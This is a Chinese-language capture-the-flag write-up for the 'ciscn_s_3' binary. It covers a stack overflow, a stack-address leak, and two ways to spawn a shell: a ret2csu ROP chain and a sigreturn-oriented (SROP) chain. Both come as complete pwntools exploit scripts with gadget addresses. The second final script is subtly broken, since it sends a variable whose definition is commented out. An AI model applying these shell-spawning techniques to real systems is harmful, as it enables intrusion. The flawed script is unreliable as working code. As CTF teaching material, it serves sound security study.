基础检查
放入ida
存在栈溢出,并且buf只有0x10,而write有0x30,因此可以泄露栈上的内容
3B=59是execv的调用号,这个指令可以调用内核execv
如果能够知道/bin/sh的地址,就可以获得shell
因为栈上没有/bin/sh,可以考虑read读入,结合前面有漏洞可以泄露栈上的位置,
考虑用write泄露某一栈上地址,在计算此地址到输入点的偏移,
这样当我们输入/bin/sh时就可以得到这个地址
这个地址存的是程序名
如图也在泄露范围内
那么就可以泄露这个地址
可以算出此地址到输入点的偏移为0x118
所以第一个payload的构造为
payload=b'/bin/sh\x00'+b'a'*8+p64(vuln)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
payload2的构造
方法一
pay=b'/bin/sh\x00'*2
pay+=p64(pop_csu)
pay+=p64(0)*2
pay+=p64(binsh+0x50)
pay+=p64(0)*3
pay+=p64(mov_call)
pay+=p64(mov_rax)
pay+=p64(rdi)
pay+=p64(binsh)
pay+=p64(syscall)
io.sendline(pay)
解释
在execve的系统调用中
参数布局为
rdi=/bin/sh
rsi=0
rdx=0
因为找不到可用的rsi和rdx
我们考虑用csu间接将参数传给rsi 和rdx
这个payload的构造非常巧妙 将rbx和rbp设为0,r12设为(binsh+0x50)都有特别用意
(1)根据我们前面payload的构造
可以知道binsh+0x50就是将execve调用号放入rax的指令,方便进行syscall
(2)首先将rbx和rbp 设为0
使得通不过 cmp rbx,rbp
从而通过jnz指令跳回0x400580
这时候rbx已被加1,所以这次call的地址就变为(binsh+0x50+8)即pop_rdi的位置让我们能够继续控制程序
因为rsi 和rdx已经设置完了,那接下来只要将binsh传入rdi并执行syscall即可获得shell
最终exp
from pwn import *
io=process('./ciscn_s_3')
context.log_level='debug'
context(arch='amd64', os='linux')
elf=ELF('./ciscn_s_3')
pop_csu=0x40059A
mov_call=0x400580
rdi=0x4005A3
vuln=0x4004ED
mov_rax=0x4004E2
syscall=0x400501
payload=b'/bin/sh\x00'+b'a'*8+p64(vuln)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
pay=b'/bin/sh\x00'*2+p64(pop_csu)+p64(0)*2+p64(binsh+0x50)+p64(0)*3+p64(mov_call)+p64(mov_rax)+p64(rdi)+p64(binsh)+p64(syscall)
io.sendline(pay)
"""frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=binsh
frame.rsi=0x0
frame.rdx=0x0
frame.rip=syscall
payload=b'/bin/sh\x00'.ljust(0x10,b'a')+p64(0x4004da)+p64(syscall)+bytes(frame)"""
io.interactive()
方法二 srop利用
原理:
这里基础知识就搬运ctfwiki上的了,讲解的我觉得很全面了,我也会进行添加补充讲解,便于理解。
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
- 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值。
在执行sigreturn 之后的restore context阶段,整个frame是在用户态,同时会执行大量的pop指令,这时我们就可以直接设定寄存器的值来伪造一个虚假的frame从而getshell
使用SROP的前提
-
首先程序必须存在溢出,能够控制返回地址。
-
可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)
-
必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。
-
允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值
-
需要知道syscall指令的地址
frame=SigreturnFrame() frame.rax=constants.SYS_execve frame.rdi=binsh frame.rsi=0x0 frame.rdx=0x0 frame.rip=syscall payload=b'/bin/sh\x00'.ljust(0x10,b'a')+p64(0x4004da)+p64(syscall)+bytes(frame)
注意这里的syscall必须是syscall_ret,来控制程序
最终exp
from pwn import *
io=process('./ciscn_s_3')
context.log_level='debug'
context(arch='amd64', os='linux')
elf=ELF('./ciscn_s_3')
pop_csu=0x40059A
mov_call=0x400580
rdi=0x4005A3
vuln=0x4004ED
mov_rax=0x4004E2
syscall=0x400517
payload=b'/bin/sh\x00'+b'a'*8+p64(vuln)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
'''pay=b'/bin/sh\x00'*2+p64(pop_csu)+p64(0)*2+p64(binsh+0x50)+p64(0)*3+p64(mov_call)+p64(mov_rax)+p64(rdi)+p64(binsh)+p64(syscall)'''
io.sendline(pay)
frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=binsh
frame.rsi=0x0
frame.rdx=0x0
frame.rip=syscall
payload=b'/bin/sh\x00'.ljust(0x10,b'a')+p64(0x4004da)+p64(syscall)+bytes(frame)
io.sendline(payload)
io.interactive()
拿到shell